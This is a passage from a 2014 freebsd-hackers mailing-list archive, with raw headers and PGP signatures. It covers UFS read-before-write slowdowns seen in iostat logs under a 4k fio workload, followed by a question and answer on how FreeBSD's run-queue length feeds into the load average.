w/s kr/s > >> >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 > >> >> 112.1 99 extended device statistics device r/s w/s kr/s > >> >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 > >> >> 111.7 97 > >> >> > >> >> write: io=3D10240MB, bw=3D81704KB/s, iops=3D2553, runt=3D128339msec > >> > > >> > The current code in ffs_write() only avoids read before write when > >> > write covers complete block. I think we can somewhat loose the > >> > test to also avoid read when we are at EOF and write covers > >> > completely the valid portion of the last block. > >> > > >> > This leaves the unwritten portion of the block with the garbage. I > >> > believe that it is not harmful, since the only way for usermode to > >> > access that garbage is through the mmap(2). The > >> > vnode_generic_getpages() zeroes out parts of the page which are > >> > after EOF. > >> > > >> > Try this, almost completely untested: > >> > >> Doesn't seem to help much, I'm still seeing the same issue. I'm > >> sampling iostat every 1s, and here's the output form the start of the > >> 4k block fio workload: > >> > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 349.5 0.0 44612.3 48 88.0 52 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.4 0.0 83773.6 76 99.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 699.2 0.0 89493.1 59 109.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 628.1 0.0 80392.6 55 114.8 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.7 0.0 83799.6 79 98.4 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 701.4 0.0 89782.0 80 105.5 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 697.9 0.0 89331.6 78 112.0 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 714.1 0.0 91408.7 77 110.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 724.0 0.0 92675.0 67 112.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 700.4 0.0 89646.6 49 102.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 686.4 0.0 87857.2 78 110.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 702.0 0.0 89851.6 80 112.9 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 736.3 0.0 94246.4 67 110.1 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 624.6 0.0 79950.0 48 115.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 704.0 0.0 90118.4 77 106.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 714.6 0.0 91470.0 80 103.6 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 710.4 0.0 90926.1 80 111.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.3 0.0 83882.1 70 115.8 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 539.8 0.0 69094.5 80 121.2 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 711.6 0.0 91087.6 79 107.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 705.5 0.0 90304.5 81 111.3 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 727.3 0.0 93092.8 81 108.9 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 699.5 0.0 89296.4 55 109.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 689.0 0.0 88066.1 78 96.6 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 738.3 0.0 94496.1 56 109.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 615.4 0.0 78770.0 80 112.3 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 707.3 0.0 90529.8 86 105.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 704.3 0.0 89333.9 67 98.3 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 641.3 0.0 82081.5 80 112.3 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 701.6 0.0 89747.9 51 101.1 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 693.0 0.0 88702.1 80 103.6 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 632.7 0.0 80991.8 80 112.0 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 709.0 0.0 90748.2 80 107.5 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 715.0 0.0 91523.0 80 104.7 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 650.1 0.0 83210.5 56 110.9 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 682.2 0.0 87319.1 57 107.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 719.0 0.0 92032.6 80 103.6 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 624.3 0.0 79905.8 80 110.5 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 696.5 0.0 89151.7 80 109.9 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 664.2 0.0 85017.6 77 109.9 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 681.7 0.0 87254.0 80 107.5 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 668.5 0.0 85569.3 57 109.9 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 682.3 0.0 87329.0 53 110.8 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 643.9 0.0 82420.9 77 104.8 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 > >> > >> As can be seen from the log above, at first the workload runs fine, > >> and the disk is only performing writes, but at some point (in this > >> case around 40% of completion) it starts performing this > >> read-before-write dance that completely screws up performance. > > > > I reproduced this locally. I think my patch is useless for the fio/4k = write > > situation. > > > > What happens is indeed related to the amount of the available memory. > > When the size of the file written by fio is larger than the memory, > > system has to recycle the cached pages. So after some moment, doing > > a write has to do read-before-write, and this occurs not at the EOF > > (since fio pre-allocated the job file). > > > > In fact, I used 10G file on 8G machine, but I interrupted the fio > > before it finish the job. The longer the previous job runs, the longer > > is time for which new job does not issue reads. If I allow the job to > > completely fill the cache, then the reads starts immediately on the next > > job run. > > > > I do not see how could anything be changed there, if we want to keep > > user file content on partial block writes, and we do. --HiaQvdnqo9FN6ymz Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuPgPAAoJEJDCuSvBvK1BKnYQAI7EFGRcK2nFwWnUT/mqTMSS sTeywWLBdS/KZDLLzD+o1hnqWPy8RZw8Pj0RFs3d+ysqdUFgRg/D98LyaguKx9eR Ykec/ZV94SAIzGWPzW530ZXIQj55aUA/xIFsG0E6AdmatzZ/hY1NGTx95niVBy97 EIW0ikoRZT8JYsxG/UWkT+AmmQ+EyukpuOplui4MOAE17i4a6NNeswcrSkvc7Sty m8KsB1/BM/bUdSX8kFaz6on4XFwc/HAdtYDEL+vdmWQPLiLsVNNLaHu0YTdBUXtb 9G0mYkucuMbMvQRUAg4xUpHuG524zXa8XiEbvmqYk79rs0hlFakfl3qTS8/0cr3M QS9IM6VMCZZIWFVJCWPy/K8Vc2TkKjuu3QJvdK0+2I2AS8NHmmLRdxcLWbmBkrXd tbvsiRNhL9u4byK0zYq8Z5a9O6xxj7IWIYbQtJ3MBBtVtX9VsTIjf4UUdscHA4kH q/k2GPBaasjMqpnsYxJH4AppWIhq63EwE57b8lMMGMH4mpGytXzzOEwjTZ0LJd4R 7um8fsL/1nbxQmWsBve6bq3qqiQsuq8jDJQJzvUHjKM2g6ZZNOAjTz/VIg1UmZr6 rpOCTbl4ZBsBuQ4NeIYpG6e9QU0zqUOYDZIjJZteTM3AtX0QEJChUM+B0tbjWDWL /95Oy4vRwO523xY1zAFw =hBBZ -----END PGP SIGNATURE----- --HiaQvdnqo9FN6ymz-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 08:13:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E612F411; Sun, 6 Jul 2014 08:13:30 +0000 (UTC) Received: from mail-qg0-x229.google.com (mail-qg0-x229.google.com [IPv6:2607:f8b0:400d:c04::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 92ABE2BE9; Sun, 6 Jul 2014 08:13:30 +0000 (UTC) Received: by mail-qg0-f41.google.com with SMTP id i50so2744364qgf.28 for ; Sun, 06 Jul 2014 01:13:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=K5iTvwa+3zCE5oHL/S4zIpnC5KWzIh97gFWGEn+Q9ac=; b=jRNWPIucZfLjp9Xsu1hnpUVtzHY8/pkahxDrQDccWmoMJ6Zgvw9BKpfKJGCJO7r85J 8qOhEtMcLz/K74RF4cIZXu9WWkqzT+62Hru8xasSpLANA4h6lP90c3iF02t63V6M1aZG pgVnGi0FDzEmPm71Pm8bOxM/G6ccrvPHKEp9Kkilzzq+aX6vAjRNwGaXgJfYWhFNqDEn drYsfK6Py7FN116lF0d6LTk+FhQckCNpAvaGMszMXf//Rijoipu1srwSxC5/pAWIW6aJ EKYIvB7AA4NcpFiPuKC7RKyjsyecamA31uTfmDq7mF1nCZo+mNfLAwzgRULkAgVbAdon lGCQ== MIME-Version: 1.0 X-Received: by 10.224.128.133 with SMTP id k5mr18930843qas.49.1404634409695; Sun, 06 Jul 2014 01:13:29 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.202.193 with HTTP; Sun, 6 Jul 2014 01:13:29 -0700 (PDT) In-Reply-To: <20140706071735.GZ93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B8253F.5060403@citrix.com> <20140705195816.GV93733@kib.kiev.ua> <20140706071735.GZ93733@kib.kiev.ua> Date: Sun, 6 Jul 2014 01:13:29 -0700 X-Google-Sender-Auth: ya7N-p4PK2sVEfrz4TgWB0iDjoo Message-ID: Subject: Re: Strange IO performance with UFS From: Adrian Chadd To: Konstantin Belousov Content-Type: text/plain; charset=UTF-8 Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers , Roger Pau Monn? X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 08:13:31 -0000 On 6 July 2014 00:17, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 05:34:48PM -0700, Adrian Chadd wrote: >> Hm, wait a sec. So if the IO size is a multiple of the underlying FS >> block size, it should be okay? > It was already suggested in the thread, and confirmed later. > Did you read the mails ? I did, I must've missed it. SOrry! -a From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 08:46:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E8B4B918; Sun, 6 Jul 2014 08:46:24 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6C1692DE0; Sun, 6 Jul 2014 08:46:24 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s668kF6V068052 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Jul 2014 11:46:15 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s668kF6V068052 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s668kF0h068051; Sun, 6 Jul 2014 11:46:15 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 6 Jul 2014 11:46:15 +0300 From: Konstantin Belousov To: Adrian Chadd Subject: Re: Strange IO performance with UFS Message-ID: <20140706084615.GC93733@kib.kiev.ua> References: <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B8253F.5060403@citrix.com> <20140705195816.GV93733@kib.kiev.ua> <20140706071735.GZ93733@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ukxn79E1+tniTzNx" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers , Roger Pau Monn? X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 08:46:25 -0000 --ukxn79E1+tniTzNx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Jul 06, 2014 at 01:13:29AM -0700, Adrian Chadd wrote: > On 6 July 2014 00:17, Konstantin Belousov wrote: > > On Sat, Jul 05, 2014 at 05:34:48PM -0700, Adrian Chadd wrote: > >> Hm, wait a sec. So if the IO size is a multiple of the underlying FS > >> block size, it should be okay? > > It was already suggested in the thread, and confirmed later. > > Did you read the mails ? >=20 > I did, I must've missed it. SOrry! The thread was definitely long. I am slightly curious how other systems perform in this case. In particular, since fio is originating from Linux, it probably should demonstrate some good behaviour with the default settings. --ukxn79E1+tniTzNx Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuQzXAAoJEJDCuSvBvK1Bx4EP/0CIhDbDLKo2xYiw6d2pIbCd Rj9Izf5EiERXCcdk9iEOGxzplocMuf1zxLd5sx9to4AuBO0c8Wo853z7fjdiFT69 7mPR2jQAyuXMWzNiH5sOrAS2ZpSODnNrziZm2M6coDT+q980jhIzuNZ/91/QUhdm zXCUgbxclI0epbnNnmiTprsV58pEW2I7p2KE1LJ20eBqatQdyh9yAHWL5iP3+XSV 38b6Aux9+ICWoK0qxdLqltXcga9z/vEq7BeGwcio/hzmrZ7KQol7Vwro/tHfKmHT b1L5E9u22cepQvjiHhqXgiXm3maaQqYZKj3AhrfNaFPy9Txu1CRxozY2EL+DykqS 998BJmsQi/H+0ZL7L+g20Ge//flnRD+nk+iSJL1Y4yh4baltcDzHpQMqvBVmVZvC 9dcyaVODpNzUyeOZ8vzrOdhBx2FD6UN4EzNfi8n5hHfcaJU9gYlbWP0981lj1ITT SHYW00YtBPQ0Eqn3HtsTGk1hx3yCknIqB26TwiJHTwIaQ/TnvkBI+ZdArcjpvj3B veFHES+Drzc/Yb6R8ccrmQAzJLdra1sMMM43K1dmPN9mKoLA10HHkZRlJibpCI1U 5k6lk77WmdeUx86MjoYPYlZsAFO+V3d3mcL8+sHvGPticJblGAEFbuLayIp4xiGi w6fEogzflhWANIXMByBk =JtJc -----END PGP SIGNATURE----- --ukxn79E1+tniTzNx-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 11:32:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6331BD30 for ; Sun, 6 Jul 2014 11:32:28 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 0203E29B7 for ; Sun, 6 Jul 2014 11:32:26 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s66BUhp6004481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT) for ; Sun, 6 Jul 2014 11:30:43 GMT Date: Sun, 6 Jul 2014 14:32:12 +0300 From: Stefan Parvu To: freebsd-hackers@freebsd.org Subject: run-queue length question Message-Id: <20140706143212.3d22d0adfa5dece52de203a3@systemdatarecorder.org> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 11:32:28 -0000 Hi, Im trying to understand what FreeBSD kernel counts for run-queue length. Traditional we count as queue length: number of processes which are running plus the number that are runnable (waiting to execute) - we *dont* count processes waiting for storage, network etc. Linux kernel has added into run-queue length the iowait processes which makes load average values big and disproportionate to the reality for example during disk io tests. How does FreeBSD handle this part ? Is the queue length simple the number of running processes + waiting to run or not as we used to have in UNIX world ? Thanks, -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 12:34:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 72F81DE for ; Sun, 6 Jul 2014 12:34:05 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id F01EE2E1B for ; Sun, 6 Jul 2014 12:34:04 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s66CXxNb057855 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Jul 2014 15:34:00 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s66CXxNb057855 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s66CXxls057854; Sun, 6 Jul 2014 15:33:59 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 6 Jul 2014 15:33:59 +0300 From: Konstantin Belousov To: Stefan Parvu Subject: Re: run-queue length question Message-ID: <20140706123359.GD93733@kib.kiev.ua> References: <20140706143212.3d22d0adfa5dece52de203a3@systemdatarecorder.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="aq8B+PobjgurrfqM" Content-Disposition: inline In-Reply-To: <20140706143212.3d22d0adfa5dece52de203a3@systemdatarecorder.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 12:34:05 -0000 --aq8B+PobjgurrfqM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Jul 06, 2014 at 02:32:12PM +0300, Stefan Parvu wrote: > Hi, >=20 > Im trying to understand what FreeBSD kernel counts for run-queue length.= =20 >=20 > Traditional we count as queue length: number of processes which are runni= ng plus=20 > the number that are runnable (waiting to execute) - we *dont* count proce= sses waiting=20 > for storage, network etc.=20 >=20 > Linux kernel has added into run-queue length the iowait processes which m= akes > load average values big and disproportionate to the reality for example d= uring=20 > disk io tests. >=20 > How does FreeBSD handle this part ? Is the queue length simple the number= of=20 > running processes + waiting to run or not as we used to have in UNIX worl= d ? It is the Linux which follows the traditional definition of the load, by counting running, ready to run and 'blocked on the fast i/o' processes as adding to the load average. Also, I remember that FreeBSD up to 4.x followed this definition. Sometime during the 5.x rewrites the load was redefined to only count running + ready to run threads, which is the current definition, used by LA. --aq8B+PobjgurrfqM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuUI3AAoJEJDCuSvBvK1BBTAP/2rodsb979Wc3jEbC2zDxHXN WOa9thboYfLf7JRaicBS9ydyO0NPtHhg4B2GDhBdbQ4DYUwPaBqa+EGuyuhhVR4V YaPUzWt8wxezX24H2+VkZiJxfL/tMmo+EEHYEFPPlsfZSc/IGL1csCwLASjYrqZ0 dSRSaF5Omm/wmt3MNUIgIQgCtL5Ik++f7RxkvuTuyNS8p1SYLWa/3/RefMJwywkX fO76q8HgRdm3Q9DYqCOFxvlaapnVpNWNa4YvJg82BUz0T+l01jjly5xt8CuPJ+MW YVKJPE04lnr4pzQTVjqHPAqY6juFoz/KWx+qfbM9XBhLvjLss+S22zWIGOIiywzT C00uDh16jUrddrQ5Rfk27JhBtR83L9+5LacOpTFgxu5q4YoZ8m0DXSHjAVmBHDCL 9wb+dDIbPOT/HNIkT4wQ9YNrgdl4deoE+yF9XIhH+Zlh+RkPHkLa1Csdh3+1gbrE EzstgI8r3kiHct/WZgvPkkOSDrgtncxnHzYucN9/ATBFHNccKYlMtjqtceTBgib3 R0VUZXBe8WYEUBeiUfA6HT8RwtcN9eqvjNN5hMc6yHZ9aTkx38AALw6RvXnApQk3 RF4C4kp05j0FhhEdOjaI7BbnNSoGpFEtl1fNX2tL0Vq4bbrcp700ebro4DW8uBAV kogQIcJJx7t5vLxY3ust =wU+P -----END PGP SIGNATURE----- --aq8B+PobjgurrfqM-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 17:55:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org 